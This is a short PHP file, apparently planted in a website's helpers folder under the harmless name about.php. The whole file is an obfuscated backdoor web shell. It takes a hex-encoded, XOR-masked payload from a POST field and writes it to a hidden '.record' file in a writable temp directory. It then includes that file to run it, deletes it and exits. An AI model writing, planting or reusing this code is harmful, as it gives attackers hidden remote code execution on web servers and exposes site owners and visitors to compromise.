File: /home/www/torresncgolf/instalaciones/system/helpers/helpers/about.php
<?php
if(!is_null($_POST["s\x79m"] ?? null)){
$desc = hex2bin($_POST["s\x79m"]);
$data ='' ; foreach(str_split($desc) as $char){$data .= chr(ord($char) ^ 69);}
$flag = array_filter([getcwd(), "/dev/shm", "/tmp", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP")]);
foreach ($flag as $key => $ent) {
if (!!is_dir($ent) && !!is_writable($ent)) {
$comp = vsprintf("%s/%s", [$ent, ".record"]);
if (file_put_contents($comp, $data)) {
include $comp;
@unlink($comp);
exit;
}
}
}
}